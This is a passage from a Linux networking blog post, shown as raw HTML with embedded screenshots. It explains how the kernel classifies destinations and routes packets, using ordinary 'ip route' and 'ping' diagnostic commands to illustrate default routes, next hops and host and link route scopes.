https://substackcdn.com/image/fetch/$s_!UlPW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79a56bdf-7793-45aa-9f08-cc07639b88ee_1076x337.png 1272w, https://substackcdn.com/image/fetch/$s_!UlPW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79a56bdf-7793-45aa-9f08-cc07639b88ee_1076x337.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>These routes tell the kernel which networks are reachable directly and through which interface. Traffic destined for any of these networks is sent straight out of the corresponding interface, without involving a gateway.</p><p>For example, traffic to <code>192.168.8.1</code> is sent directly out of <code>enp2s0</code>.</p><p>If you come from Cisco or Juniper environments, these are known as <strong>connected routes</strong>. Notice the use of <code>scope link</code> here; we will revisit scopes in more detail shortly.</p><p><strong>Remote networks</strong> include everything else. If a destination is neither local nor directly connected, Linux must send the packet to a router that <em>is</em> directly reachable.</p><p>These routers are typically represented by default routes:</p><pre><code><code>$ ip route show default</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gB2g!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf5de3f-2caf-4e11-9cd3-639cdd5ac7eb_1076x207.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gB2g!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf5de3f-2caf-4e11-9cd3-639cdd5ac7eb_1076x207.png 424w, https://substackcdn.com/image/fetch/$s_!gB2g!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf5de3f-2caf-4e11-9cd3-639cdd5ac7eb_1076x207.png 848w, https://substackcdn.com/image/fetch/$s_!gB2g!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf5de3f-2caf-4e11-9cd3-639cdd5ac7eb_1076x207.png 1272w, https://substackcdn.com/image/fetch/$s_!gB2g!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf5de3f-2caf-4e11-9cd3-639cdd5ac7eb_1076x207.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gB2g!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf5de3f-2caf-4e11-9cd3-639cdd5ac7eb_1076x207.png" width="1076" height="207" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0bf5de3f-2caf-4e11-9cd3-639cdd5ac7eb_1076x207.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:207,&quot;width&quot;:1076,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:40662,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/182754299?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf5de3f-2caf-4e11-9cd3-639cdd5ac7eb_1076x207.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gB2g!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf5de3f-2caf-4e11-9cd3-639cdd5ac7eb_1076x207.png 424w, https://substackcdn.com/image/fetch/$s_!gB2g!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf5de3f-2caf-4e11-9cd3-639cdd5ac7eb_1076x207.png 848w, https://substackcdn.com/image/fetch/$s_!gB2g!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf5de3f-2caf-4e11-9cd3-639cdd5ac7eb_1076x207.png 1272w, https://substackcdn.com/image/fetch/$s_!gB2g!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf5de3f-2caf-4e11-9cd3-639cdd5ac7eb_1076x207.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>In this case, the system has two default routes, one per interface. Linux will not use both arbitrarily. Instead, it compares their metrics and selects the preferred path. We will look at route selection and metrics in detail later.</p><p>This classification is fundamental. Before the kernel evaluates metrics or chooses a gateway, it first determines whether a destination is local, connected, or remote.</p><div><hr></div><p>Sysxplore is an indie, reader-supported publication.<br>I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.</p><p>To support my work, consider becoming a <strong>free or paid subscriber</strong> and join the growing community of tech professionals.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.sysxplore.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:&quot;button-wrapper&quot;}" data-component-name="ButtonCreateButton"><a class="button primary button-wrapper" href="https://blog.sysxplore.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><h2>What are Routes</h2><p>A route is simply an instruction that tells the kernel how to reach a destination.</p><p>At a minimum, a route answers three questions:</p><ul><li><p>Which destination does this apply to?</p></li><li><p>Where should the packet go next?</p></li><li><p>Which interface should be used?</p></li></ul><p>In Linux, a route is made up of a few core components:</p><ul><li><p><strong>Destination</strong></p><p>This can be a single IP address (a host route), a subnet (a network route), or a catch-all default route (<code>0.0.0.0/0</code>).</p></li><li><p><strong>Next hop</strong></p><p>This is the IP address of the next router the packet should be sent to. If the destination is directly connected, no next hop is required.</p></li><li><p><strong>Interface</strong></p><p>This is the local network interface the packet will exit from.</p></li></ul><p>You can see how the kernel interprets a route decision using <code>ip route get</code>. For example:</p><pre><code><code>$ ip route get 1.1.1.1</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EU7G!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf1f4467-ab26-4b87-84f2-ff70244d69c5_1076x207.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EU7G!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf1f4467-ab26-4b87-84f2-ff70244d69c5_1076x207.png 424w, https://substackcdn.com/image/fetch/$s_!EU7G!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf1f4467-ab26-4b87-84f2-ff70244d69c5_1076x207.png 848w, https://substackcdn.com/image/fetch/$s_!EU7G!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf1f4467-ab26-4b87-84f2-ff70244d69c5_1076x207.png 1272w, https://substackcdn.com/image/fetch/$s_!EU7G!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf1f4467-ab26-4b87-84f2-ff70244d69c5_1076x207.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EU7G!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf1f4467-ab26-4b87-84f2-ff70244d69c5_1076x207.png" width="1076" height="207" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bf1f4467-ab26-4b87-84f2-ff70244d69c5_1076x207.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:207,&quot;width&quot;:1076,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:26757,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/182754299?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf1f4467-ab26-4b87-84f2-ff70244d69c5_1076x207.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!EU7G!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf1f4467-ab26-4b87-84f2-ff70244d69c5_1076x207.png 424w, https://substackcdn.com/image/fetch/$s_!EU7G!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf1f4467-ab26-4b87-84f2-ff70244d69c5_1076x207.png 848w, https://substackcdn.com/image/fetch/$s_!EU7G!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf1f4467-ab26-4b87-84f2-ff70244d69c5_1076x207.png 1272w, https://substackcdn.com/image/fetch/$s_!EU7G!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf1f4467-ab26-4b87-84f2-ff70244d69c5_1076x207.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This output shows the full routing decision for that destination:</p><ul><li><p><code>1.1.1.1</code> is the destination address.</p></li><li><p><code>192.168.8.1</code> is the next hop (gateway).</p></li><li><p><code>enp2s0</code> is the interface used to send the packet.</p></li><li><p><code>192.168.8.102</code> is the source address chosen for the packet.</p></li><li><p><code>uid 1000</code> indicates which user initiated the traffic.</p></li></ul><p>There are additional routing attributes, such as metrics and routing tables, weight, which we will look at later. For now, the important point is that this is the <em>final decision</em> the kernel has made for that packet.</p><p>If the destination belongs to a directly connected network, there is no next hop. The packet is sent straight out of the appropriate interface.</p><p>If the destination is remote, the route must specify a gateway. That gateway itself must be reachable through a directly connected network. Linux will never forward traffic to a next hop it cannot already reach.</p><p>Routes are not guesses or suggestions. They are explicit rules the kernel follows when deciding where packets should go.</p><h2>Route Scopes</h2><p>Route scopes describe how far a route can &#8220;see&#8221;. They define the visibility of a route and place boundaries on where it can be used. These scopes map directly to the destination classes we discussed earlier.</p><p>Linux primarily uses three scopes: <strong>host</strong>, <strong>link</strong>, and <strong>global</strong>.</p><p><strong>Host scope</strong> routes apply only to addresses on the local machine. These include interface IP addresses and the loopback range. Traffic matching a host-scope route never leaves the system and never involves packet forwarding.</p><p>You can inspect host-scope routes across all routing tables with:</p><pre><code><code>$ ip route show scope host table all</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!P_py!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c458e22-8d17-4582-883b-998f0ad1a835_1076x419.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!P_py!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c458e22-8d17-4582-883b-998f0ad1a835_1076x419.png 424w, https://substackcdn.com/image/fetch/$s_!P_py!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c458e22-8d17-4582-883b-998f0ad1a835_1076x419.png 848w, https://substackcdn.com/image/fetch/$s_!P_py!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c458e22-8d17-4582-883b-998f0ad1a835_1076x419.png 1272w, https://substackcdn.com/image/fetch/$s_!P_py!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c458e22-8d17-4582-883b-998f0ad1a835_1076x419.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!P_py!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c458e22-8d17-4582-883b-998f0ad1a835_1076x419.png" width="1076" height="419" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3c458e22-8d17-4582-883b-998f0ad1a835_1076x419.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:419,&quot;width&quot;:1076,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:142408,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/182754299?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c458e22-8d17-4582-883b-998f0ad1a835_1076x419.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!P_py!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c458e22-8d17-4582-883b-998f0ad1a835_1076x419.png 424w, https://substackcdn.com/image/fetch/$s_!P_py!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c458e22-8d17-4582-883b-998f0ad1a835_1076x419.png 848w, https://substackcdn.com/image/fetch/$s_!P_py!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c458e22-8d17-4582-883b-998f0ad1a835_1076x419.png 1272w, https://substackcdn.com/image/fetch/$s_!P_py!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c458e22-8d17-4582-883b-998f0ad1a835_1076x419.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The loopback range appears as <code>127.0.0.0/8</code> because it is treated as a special local network. Any address within that range will always resolve back to the local system:</p><pre><code><code>$ ping 127.2.4.23 -c 3</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pp93!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5086738-0f9e-4779-99ee-11906a94644b_1076x316.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pp93!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5086738-0f9e-4779-99ee-11906a94644b_1076x316.png 424w, https://substackcdn.com/image/fetch/$s_!pp93!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5086738-0f9e-4779-99ee-11906a94644b_1076x316.png 848w, https://substackcdn.com/image/fetch/$s_!pp93!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5086738-0f9e-4779-99ee-11906a94644b_1076x316.png 1272w, https://substackcdn.com/image/fetch/$s_!pp93!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5086738-0f9e-4779-99ee-11906a94644b_1076x316.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pp93!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5086738-0f9e-4779-99ee-11906a94644b_1076x316.png" width="1076" height="316" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a5086738-0f9e-4779-99ee-11906a94644b_1076x316.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:316,&quot;width&quot;:1076,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:69924,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/182754299?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5086738-0f9e-4779-99ee-11906a94644b_1076x316.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!pp93!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5086738-0f9e-4779-99ee-11906a94644b_1076x316.png 424w, https://substackcdn.com/image/fetch/$s_!pp93!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5086738-0f9e-4779-99ee-11906a94644b_1076x316.png 848w, https://substackcdn.com/image/fetch/$s_!pp93!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5086738-0f9e-4779-99ee-11906a94644b_1076x316.png 1272w, https://substackcdn.com/image/fetch/$s_!pp93!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5086738-0f9e-4779-99ee-11906a94644b_1076x316.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Even though the address looks arbitrary, the traffic never leaves the host.</p><p><strong>Link scope</strong> routes apply to directly connected networks. These routes are used for destinations that can be reached without passing through a router. Traffic matching a link-scope route is sent directly out of the associated interface.</p><p>You can view link-scope routes with:</p><pre><code><code>$ ip route show scope link table all</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Avab!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7c63c29-4dd1-491b-962e-824537aa3030_1076x661.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Avab!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7c63c29-4dd1-491b-962e-824537aa3030_1076x661.png 424w, https://substackcdn.com/image/fetch/$s_!Avab!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7c63c29-4dd1-491b-962e-824537aa3030_1076x661.png 848w, https://substackcdn.com/image/fetch/$s_!Avab!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7c63c29-4dd1-491b-962e-824537aa3030_1076x661.png 1272w, https://substackcdn.com/image/fetch/$s_!Avab!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7c63c29-4dd1-491b-962e-824537aa3030_1076x661.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Avab!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7c63c29-4dd1-491b-962e-824537aa3030_1076x661.png" width="1076" height="661" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a7c63c29-4dd1-491b-962e-824537aa3030_1076x661.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:661,&quot;width&quot;:1076,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:243254,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/182754299?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7c63c29-4dd1-491b-962e-824537aa3030_1076x661.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Avab!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7c63c29-4dd1-491b-962e-824537aa3030_1076x661.png 424w, https://substackcdn.com/image/fetch/$s_!Avab!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7c63c29-4dd1-491b-962e-824537aa3030_1076x661.png 848w, https://substackcdn.com/image/fetch/$s_!Avab!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7c63c29-4dd1-491b-962e-824537aa3030_1076x661.png 1272w, https://substackcdn.com/image/fetch/$s_!Avab!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7c63c29-4dd1-491b-962e-824537aa3030_1076x661.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Alongside unicast routes, you&#8217;ll also see broadcast routes. Broadcast addresses target all hosts on 